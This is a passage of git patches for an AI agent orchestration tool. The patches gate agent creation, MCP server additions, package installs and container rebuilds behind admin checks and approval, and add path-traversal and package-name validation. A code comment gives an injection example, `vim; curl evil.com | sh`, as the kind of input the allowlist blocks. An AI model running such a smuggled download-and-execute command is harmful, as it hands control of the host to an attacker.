getAgentGroupByFolder } = await import('./db/agent-groups.js'); - if (getAgentGroupByFolder(folder)) { - folder = `${folder}_${Date.now()}`; - } - - const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createAgentGroup({ - id: agentGroupId, - name, - folder, - is_admin: 0, - agent_provider: null, - container_config: null, - created_at: new Date().toISOString(), - }); - - const groupPath = path.join(GROUPS_DIR, folder); - fs.mkdirSync(groupPath, { recursive: true }); - - if (instructions) { - fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); - } - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - agentGroupId, - name, - folder, - }); - - log.info('Agent group created via system action', { agentGroupId, name, folder }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + const sourceGroup = getAgentGroup(session.agent_group_id); + if (!sourceGroup?.is_admin) { + // Notify the agent via a chat message (fire-and-forget pattern) + notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`); + log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name }); + break; } + + const localName = normalizeName(name); + + // Collision in the creator's destination namespace + if (getDestinationByName(sourceGroup.id, localName)) { + notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`); + break; + } + + // Derive a safe folder name, deduplicated globally across agent_groups.folder + let folder = localName; + let suffix = 2; + while (getAgentGroupByFolder(folder)) { + folder = `${localName}-${suffix}`; + suffix++; + } + + const groupPath = path.join(GROUPS_DIR, folder); + const resolvedPath = path.resolve(groupPath); + const resolvedGroupsDir = path.resolve(GROUPS_DIR); + if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) { + notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`); + log.error('create_agent path traversal attempt', { folder, resolvedPath }); + break; + } + + const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const now = new Date().toISOString(); + + createAgentGroup({ + id: agentGroupId, + name, + folder, + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now, + }); + + fs.mkdirSync(groupPath, { recursive: true }); + if (instructions) { + fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); + } + + // Insert bidirectional destination rows (= ACL grants). + // Creator refers to child by the name it chose; child refers to creator as "parent". + createDestination({ + agent_group_id: sourceGroup.id, + local_name: localName, + target_type: 'agent', + target_id: agentGroupId, + created_at: now, + }); + // Handle the unlikely case where the child already has a "parent" destination + // (shouldn't happen for a brand-new agent, but be safe). + let parentName = 'parent'; + let parentSuffix = 2; + while (getDestinationByName(agentGroupId, parentName)) { + parentName = `parent-${parentSuffix}`; + parentSuffix++; + } + createDestination({ + agent_group_id: agentGroupId, + local_name: parentName, + target_type: 'agent', + target_id: sourceGroup.id, + created_at: now, + }); + + // Fire-and-forget notification back to the creator + notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`); + log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id }); + // Note: requestId is unused — this is fire-and-forget, not request/response. + void requestId; break; } case 'add_mcp_server': { - const requestId = content.requestId as string; + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'add_mcp_server failed: agent group not found.'); + break; + } const serverName = content.name as string; const command = content.command as string; - const serverArgs = content.args as string[]; - const serverEnv = content.env as Record; - - try { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) throw new Error('Agent group not found'); - - const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; - containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} }; - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - message: `MCP server "${serverName}" added. Will take effect on next container restart.`, - }); - - log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + if (!serverName || !command) { + notifyAgent(session, 'add_mcp_server failed: name and command are required.'); + break; } + await requestApproval(session, agentGroup.name, 'add_mcp_server', { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`); break; } case 'install_packages': { - const requestId = content.requestId as string; - const apt = (content.apt as string[]) || []; - const npm = (content.npm as string[]) || []; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'install_packages failed: agent group not found.'); break; } - // Find admin channel for approval card - const adminGroup = getAdminAgentGroup(); - let approvalChannelType: string | null = null; - let approvalPlatformId: string | null = null; + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = (content.reason as string) || ''; - if (adminGroup) { - const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id); - if (adminMGs.length > 0) { - approvalChannelType = adminMGs[0].channel_type; - approvalPlatformId = adminMGs[0].platform_id; - } + // Host-side sanitization (defense in depth — container should validate first). + // Strict allowlist: Debian/npm naming rules only. Blocks shell injection via + // package names like `vim; curl evil.com | sh`. + const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; + const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; + const MAX_PACKAGES = 20; + if (apt.length + npm.length === 0) { + notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.'); + break; } - - if (!approvalChannelType || !approvalPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); + if (apt.length + npm.length > MAX_PACKAGES) { + notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`); + break; + } + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) { + notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`); + log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt }); + break; + } + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) { + notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`); + log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm }); break; } - const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: approvalId, - session_id: session.id, - request_id: requestId, - action: 'install_packages', - payload: JSON.stringify({ apt, npm, reason }), - created_at: new Date().toISOString(), - }); - - const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', '); - if (deliveryAdapter) { - await deliveryAdapter.deliver( - approvalChannelType, - approvalPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: approvalId, - question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm }); + const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', '); + await requestApproval( + session, + agentGroup.name, + 'install_packages', + { apt, npm, reason }, + `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + ); break; } case 'request_rebuild': { - const requestId = content.requestId as string; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'request_rebuild failed: agent group not found.'); break; } - - // Find admin channel for approval card - const adminGroup2 = getAdminAgentGroup(); - let rebuildChannelType: string | null = null; - let rebuildPlatformId: string | null = null; - - if (adminGroup2) { - const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id); - if (adminMGs2.length > 0) { - rebuildChannelType = adminMGs2[0].channel_type; - rebuildPlatformId = adminMGs2[0].platform_id; - } - } - - if (!rebuildChannelType || !rebuildPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); - break; - } - - const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: rebuildApprovalId, - session_id: session.id, - request_id: requestId, - action: 'request_rebuild', - payload: JSON.stringify({ reason }), - created_at: new Date().toISOString(), - }); - - if (deliveryAdapter) { - await deliveryAdapter.deliver( - rebuildChannelType, - rebuildPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: rebuildApprovalId, - question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name }); + const reason = (content.reason as string) || ''; + await requestApproval( + session, + agentGroup.name, + 'request_rebuild', + { reason }, + `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + ); break; } diff --git a/src/index.ts b/src/index.ts index 29bb3e2..e237834 100644 --- a/src/index.ts +++ b/src/index.ts @@ -22,8 +22,8 @@ import { getSession, } from './db/sessions.js'; import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; -import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js'; import { log } from './log.js'; // Channel barrel — each enabled channel self-registers on import. @@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string await wakeContainer(session); } -/** Handle an admin's response to an approval card. */ +/** + * Handle an admin's response to an approval card. + * Fire-and-forget model: the agent doesn't poll for this — we write a chat + * notification to its session DB, and optionally kill the container so the + * next wake picks up new config/images. + */ async function handleApprovalResponse( approval: import('./types.js').PendingApproval, selectedOption: string, @@ -189,52 +194,69 @@ async function handleApprovalResponse( return; } - if (selectedOption === 'Approve') { - const payload = JSON.parse(approval.payload); - - if (approval.action === 'install_packages') { - const agentGroup = getAgentGroup(session.agent_group_id); - const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; - if (payload.apt) containerConfig.packages.apt.push(...payload.apt); - if (payload.npm) containerConfig.packages.npm.push(...payload.npm); - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Packages approved. Run request_rebuild to apply.', - approved: { apt: payload.apt, npm: payload.npm }, - }); - - log.info('Package install approved', { approvalId: approval.approval_id, userId }); - } else if (approval.action === 'request_rebuild') { - try { - await buildAgentGroupImage(session.agent_group_id); - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Container image rebuilt. Changes will take effect on next container start.', - }); - log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`, - }); - log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); - } - } - } else { - // Rejected - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Request rejected by admin (${userId})`, + const notify = (text: string): void => { + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), }); + }; + + if (selectedOption !== 'Approve') { + notify(`Your ${approval.action} request was rejected by admin.`); log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + deletePendingApproval(approval.approval_id); + await wakeContainer(session); + return; + } + + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; + if (payload.apt) containerConfig.packages.apt.push(...payload.apt); + if (payload.npm) containerConfig.packages.npm.push(...payload.npm); + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); + notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`); + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + // Kill the container so the next wake uses the new image + killContainer(session.id, 'rebuild applied'); + notify('Container image rebuilt. Your container will restart with the new image on the next message.'); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } else if (approval.action === 'add_mcp_server') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; + containerConfig.mcpServers[payload.name] = { + command: payload.command, + args: payload.args || [], + env: payload.env || {}, + }; + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + // Kill the container so next wake loads the new MCP server config + killContainer(session.id, 'mcp server added'); + notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`); + log.info('MCP server add approved', { approvalId: approval.approval_id, userId }); } deletePendingApproval(approval.approval_id); - - // Wake container so the agent's polling MCP tool picks up the response - if (session) { - await wakeContainer(session); - } + await wakeContainer(session); } /** Graceful shutdown. */ diff --git a/src/session-manager.ts b/src/session-manager.ts index 804c38d..1bd61be 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -11,6 +11,9 @@ import fs from 'fs'; import path from 'path'; import { DATA_DIR } from './config.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { getDestinations } from './db/agent-destinations.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; @@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } } +/** + * Write the destination map file into the session folder. + * Called before every container wake so admin changes take effect on next start. + * The container loads this at startup to know what destinations exist. + */ +export function writeDestinationsFile(agentGroupId: string, sessionId: string): void { + const dir = sessionDir(agentGroupId, sessionId); + if (!fs.existsSync(dir)) return; + + const rows = getDestinations(agentGroupId); + const destinations: Array> = []; + + for (const row of rows) { + if (row.target_type === 'channel') { + const mg = getMessagingGroup(row.target_id); + if (!mg) continue; + destinations.push({ + name: row.local_name, + displayName: mg.name ?? row.local_name, + type: 'channel', + channelType: mg.channel_type, + platformId: mg.platform_id, + }); + } else if (row.target_type === 'agent') { + const ag = getAgentGroup(row.target_id); + if (!ag) continue; + destinations.push({ + name: row.local_name, + displayName: ag.name, + type: 'agent', + agentGroupId: ag.id, + }); + } + } + + const filePath = path.join(dir, '.nanoclaw-destinations.json'); + fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2)); + log.debug('Destination map written', { sessionId, count: destinations.length }); +} + /** Write a message to a session's inbound DB (messages_in). Host-only. */ export function writeSessionMessage( agentGroupId: string, diff --git a/src/types.ts b/src/types.ts index 0d6983d..ba374c8 100644 --- a/src/types.ts +++ b/src/types.ts @@ -99,3 +99,13 @@ export interface PendingApproval { payload: string; // JSON created_at: string; } + +// ── Agent destinations (central DB) ── + +export interface AgentDestination { + agent_group_id: string; + local_name: string; + target_type: 'channel' | 'agent'; + target_id: string; + created_at: string; +} From 67f081671d5c5963b9790e684e419a27cb0c1762 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:31:45 +0300 Subject: [PATCH 102/485] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/db/agent-destinations.ts | 18 ++++++------------ src/delivery.ts | 30 +++++++++++++++++------------- 2 files changed, 23 insertions(+), 25 deletions(-) diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts index 2d319de..737e67d 100644 --- a/src/db/agent-destinations.ts +++ b/src/db/agent-destinations.ts @@ -39,28 +39,22 @@ export function getDestinationByTarget( targetId: string, ): AgentDestination | undefined { return getDb() - .prepare( - 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?', - ) + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?') .get(agentGroupId, targetType, targetId) as AgentDestination | undefined; } /** Permission check: can this agent send to this target? */ -export function hasDestination( - agentGroupId: string, - targetType: 'channel' | 'agent', - targetId: string, -): boolean { +export function hasDestination(agentGroupId: string, targetType: 'channel' | 'agent', targetId: string): boolean { const row = getDb() - .prepare( - 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1', - ) + .prepare('SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1') .get(agentGroupId, targetType, targetId); return !!row; } export function deleteDestination(agentGroupId: string, localName: string): void { - getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName); + getDb() + .prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?') + .run(agentGroupId, localName); } /** Normalize a human-readable name into a lowercase, dash-separated identifier. */ diff --git a/src/delivery.ts b/src/delivery.ts index 144d213..2c44941 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -26,12 +26,7 @@ import { updateAgentGroup, getAgentGroupByFolder, } from './db/agent-groups.js'; -import { - createDestination, - getDestinationByName, - hasDestination, - normalizeName, -} from './db/agent-destinations.js'; +import { createDestination, getDestinationByName, hasDestination, normalizeName } from './db/agent-destinations.js'; import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { @@ -617,7 +612,10 @@ async function handleSystemAction( }); // Fire-and-forget notification back to the creator - notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`); + notifyAgent( + session, + `Agent "${localName}" created. You can now message it with ....`, + ); log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id }); // Note: requestId is unused — this is fire-and-forget, not request/response. void requestId; @@ -636,12 +634,18 @@ async function handleSystemAction( notifyAgent(session, 'add_mcp_server failed: name and command are required.'); break; } - await requestApproval(session, agentGroup.name, 'add_mcp_server', { - name: serverName, - command, - args: (content.args as string[]) || [], - env: (content.env as Record) || {}, - }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`); + await requestApproval( + session, + agentGroup.name, + 'add_mcp_server', + { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, + `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`, + ); break; } From 09e1861a22190ed453500bad571f4c2618664d48 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:36:09 +0300 Subject: [PATCH 103/485] =?UTF-8?q?feat:=20single-destination=20shortcut?= =?UTF-8?q?=20=E2=80=94=20no=20wrapping=20needed=20when=20there's=20only?= =?UTF-8?q?=20one?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When an agent has exactly one configured destination, wrapping output in blocks is unnecessary. Plain text goes to the sole destination automatically. This preserves the simple "just reply" flow for the common case of one user on one channel. Applies in three places: - System prompt addendum: single-destination case gets a simplified explanation ("your messages are delivered to X, just write directly"). Multi-destination case keeps the syntax docs. - Main output parser: if zero blocks are found and there is exactly one destination, the entire cleaned text (with stripped) is sent to that destination. - send_message / send_file MCP tools: `to` parameter is now optional. With one destination, omitted defaults to it. With multiple, omitting returns an error listing the options. Multi-destination behavior is unchanged — explicit is still required, and untagged text is still scratchpad. groups/global/CLAUDE.md updated to describe both cases. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/destinations.ts | 16 ++++++ container/agent-runner/src/mcp-tools/core.ts | 60 ++++++++++++-------- container/agent-runner/src/poll-loop.ts | 51 +++++++++++------ groups/global/CLAUDE.md | 19 +++---- 4 files changed, 96 insertions(+), 50 deletions(-) diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts index 663dcd4..57f151d 100644 --- a/container/agent-runner/src/destinations.ts +++ b/container/agent-runner/src/destinations.ts @@ -73,6 +73,22 @@ export function buildSystemPromptAddendum(): string { ].join('\n'); } + // Single-destination shortcut: the agent just writes its response normally. + // No wrapping needed. This preserves the simple case (one user, one channel). + if (cache.length === 1) { + const d = cache[0]; + const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; + return [ + '## Sending messages', + '', + `Your messages are delivered to \`${d.name}\`${label}. Just write your response directly — no special wrapping needed.`, + '', + 'To mark something as scratchpad (logged but not sent), wrap it in `...`.', + '', + 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool.', + ].join('\n'); + } + const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; for (const d of cache) { const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index d36b029..0180b72 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -35,37 +35,52 @@ function destinationList(): string { return all.map((d) => d.name).join(', '); } +/** + * Resolve a destination name to routing fields. + * If `to` is omitted and the agent has exactly one destination, that one is used. + * With multiple destinations, omitting `to` is an error. + */ function resolveRouting( - to: string, -): { channel_type: string; platform_id: string } | { error: string } { - const dest = findByName(to); - if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; - if (dest.type === 'channel') { - return { channel_type: dest.channelType!, platform_id: dest.platformId! }; + to: string | undefined, +): { channel_type: string; platform_id: string; resolvedName: string } | { error: string } { + let name = to; + if (!name) { + const all = getAllDestinations(); + if (all.length === 0) return { error: 'No destinations configured.' }; + if (all.length > 1) { + return { + error: `You have multiple destinations — specify "to". Options: ${all.map((d) => d.name).join(', ')}`, + }; + } + name = all[0].name; } - return { channel_type: 'agent', platform_id: dest.agentGroupId! }; + const dest = findByName(name); + if (!dest) return { error: `Unknown destination "${name}". Known: ${destinationList()}` }; + if (dest.type === 'channel') { + return { channel_type: dest.channelType!, platform_id: dest.platformId!, resolvedName: name }; + } + return { channel_type: 'agent', platform_id: dest.agentGroupId!, resolvedName: name }; } export const sendMessage: McpToolDefinition = { tool: { name: 'send_message', description: - 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).', + 'Send a message to a named destination. If you have only one destination, you can omit `to`.', inputSchema: { type: 'object' as const, properties: { - to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' }, + to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1"). Optional if you have only one destination.' }, text: { type: 'string', description: 'Message content' }, }, - required: ['to', 'text'], + required: ['text'], }, }, async handler(args) { - const to = args.to as string; const text = args.text as string; - if (!to || !text) return err('to and text are required'); + if (!text) return err('text is required'); - const routing = resolveRouting(to); + const routing = resolveRouting(args.to as string | undefined); if ('error' in routing) return err(routing.error); const id = generateId(); @@ -78,32 +93,31 @@ export const sendMessage: McpToolDefinition = { content: JSON.stringify({ text }), }); - log(`send_message: #${seq} → ${to}`); - return ok(`Message sent to ${to} (id: ${seq})`); + log(`send_message: #${seq} → ${routing.resolvedName}`); + return ok(`Message sent to ${routing.resolvedName} (id: ${seq})`); }, }; export const sendFile: McpToolDefinition = { tool: { name: 'send_file', - description: 'Send a file to a named destination.', + description: 'Send a file to a named destination. If you have only one destination, you can omit `to`.', inputSchema: { type: 'object' as const, properties: { - to: { type: 'string', description: 'Destination name' }, + to: { type: 'string', description: 'Destination name. Optional if you have only one destination.' }, path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, text: { type: 'string', description: 'Optional accompanying message' }, filename: { type: 'string', description: 'Display name (default: basename of path)' }, }, - required: ['to', 'path'], + required: ['path'], }, }, async handler(args) { - const to = args.to as string; const filePath = args.path as string; - if (!to || !filePath) return err('to and path are required'); + if (!filePath) return err('path is required'); - const routing = resolveRouting(to); + const routing = resolveRouting(args.to as string | undefined); if ('error' in routing) return err(routing.error); const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); @@ -125,8 +139,8 @@ export const sendFile: McpToolDefinition = { content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); - log(`send_file: ${id} → ${to} (${filename})`); - return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`); + log(`send_file: ${id} → ${routing.resolvedName} (${filename})`); + return ok(`File sent to ${routing.resolvedName} (id: ${id}, filename: ${filename})`); }, }; diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 6b358de..83d0316 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,4 +1,4 @@ -import { findByName } from './destinations.js'; +import { findByName, getAllDestinations, type DestinationEntry } from './destinations.js'; import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; @@ -296,11 +296,14 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { /** * Parse the agent's final text for ... blocks * and dispatch each one to its resolved destination. Text outside of blocks - * (including ...) is scratchpad — logged but not sent. + * (including ...) is normally scratchpad — logged but + * not sent. * - * If the agent emits zero blocks AND non-empty text, log a warning: - * the agent produced output with no recipient. That's usually a bug in the - * agent — the system prompt tells it to wrap user-visible text in blocks. + * Single-destination shortcut: if the agent has exactly one configured + * destination AND the output contains zero blocks, the entire + * cleaned text (with tags stripped) is sent to that destination. + * This preserves the simple case of one user on one channel — the agent + * doesn't need to know about wrapping syntax at all. */ function dispatchResultText(text: string, routing: RoutingContext): void { const MESSAGE_RE = /([\s\S]*?)<\/message>/g; @@ -324,18 +327,7 @@ function dispatchResultText(text: string, routing: RoutingContext): void { scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`); continue; } - - const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; - const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; - writeMessageOut({ - id: generateId(), - in_reply_to: routing.inReplyTo, - kind: 'chat', - platform_id: platformId, - channel_type: channelType, - thread_id: null, - content: JSON.stringify({ text: body }), - }); + sendToDestination(dest, body, routing); sent++; } if (lastIndex < text.length) { @@ -346,6 +338,17 @@ function dispatchResultText(text: string, routing: RoutingContext): void { .join('') .replace(/[\s\S]*?<\/internal>/g, '') .trim(); + + // Single-destination shortcut: the agent wrote plain text and has exactly + // one destination. Send the entire cleaned text to it. + if (sent === 0 && scratchpad) { + const all = getAllDestinations(); + if (all.length === 1) { + sendToDestination(all[0], scratchpad, routing); + return; + } + } + if (scratchpad) { log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`); } @@ -355,6 +358,20 @@ function dispatchResultText(text: string, routing: RoutingContext): void { } } +function sendToDestination(dest: DestinationEntry, body: string, routing: RoutingContext): void { + const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; + const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: null, + content: JSON.stringify({ text: body }), + }); +} + function sleep(ms: number): Promise { return new Promise((resolve) => setTimeout(resolve, ms)); } diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index c95469e..cc5480f 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -16,24 +16,23 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c Be concise — every message costs the reader's attention. -### Named destinations +### Destinations -You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn. - -**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere. +Each turn, your system prompt lists the destinations available to you. If you only have one destination, just write your response directly — it goes there automatically. If you have multiple, wrap each message in a `...` block: ``` On my way home, 15 minutes +kick off the pipeline ``` -Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`. +Inbound messages are labeled with `from="name"` so you can tell which destination they came from and reply using that same name. ### Mid-turn updates -Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work: +Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output). If you have one destination, `to` is optional; with multiple, specify it. Pace your updates to the length of the work: -- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block. -- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message. +- **Short work (a few seconds, ≤2 quick tool calls):** Don't 